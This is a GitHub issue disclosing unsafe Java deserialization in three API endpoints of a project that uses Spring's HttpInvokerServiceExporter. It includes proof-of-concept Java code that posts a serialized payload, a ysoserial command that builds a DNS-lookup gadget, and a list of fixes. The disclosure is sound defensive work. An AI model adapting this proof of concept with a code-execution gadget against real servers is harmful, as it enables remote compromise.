Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unsafe deserialization in several API endpoints #344

Open
artem-smotrakov opened this issue Feb 16, 2021 · 0 comments
Open

Unsafe deserialization in several API endpoints #344

artem-smotrakov opened this issue Feb 16, 2021 · 0 comments

Comments

@artem-smotrakov
Copy link

(after discussing this with the project maintainers, agreed to publish it)

The project has three API endpoints that use HttpInvokerServiceExporter

/SystemInfoService
/FileImportService
/GitHubService

HttpInvokerServiceExporter httpInvokerServiceExporter = new HttpInvokerServiceExporter();

HttpInvokerServiceExporter uses the default Java deserialization mechanism (InputObjectStream) to parse data that comes in a HTTP request. A malicious user can send a specially crafted request that contains a dangerous serialized object. Then, the endpoints deserialize the object which results in executing dangerous code on the server side.

The following code reproduces the issue:

byte[] payload = Files.readAllBytes(Paths.get("payload.bin"));
String endpoint = "http://localhost:8888/yamj3/SystemInfoService";
HttpURLConnection connection = (HttpURLConnection) new
URL(endpoint).openConnection();
connection.setDoOutput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type",
"application/x-java-serialized-object");
connection.setRequestProperty("Content-Length",
Integer.toString(payload.length));
connection.setRequestProperty("Accept-Encoding", "gzip");
try (BufferedOutputStream bos = new
BufferedOutputStream(connection.getOutputStream())) {
    bos.write(payload);
    bos.flush();
}
System.out.println(connection.getResponseCode());

payload.bin is created by ysoserial tool:

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS https://blog.gypsyengineer.com > payload.bin

The serialized object doesn't do anything dangerous - it just tries to resolve "blog.gypsyengineer.com" (you can use any other domain name). If you watch DNS traffic (tcpdump -i lo udp port 53) and run the code above, then you'll see a DNS request to resolve blog.gypsyengineer.com. Although it is only a demo to show the issue, it may be possible to build a serialized object that does something dangerous, for example, arbitrary code execution. Therefore the impact of the issue may be potentially high. It is relatively easy to exploit the issue - an attacker just needs to send a single HTTP request.

Unfortunately, Spring refused to make the HttpInvokerServiceExporter class safer

spring-projects/spring-framework#24434

They only deprecated the class and updated the documentation. There are not too many ways to fix the issue:

  1. Remove the endpoints.
  2. Don't use HttpInvokerServiceExporter.
  3. Use global deserialization filters introduced in JEP 290 (need to be carefully configured).
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants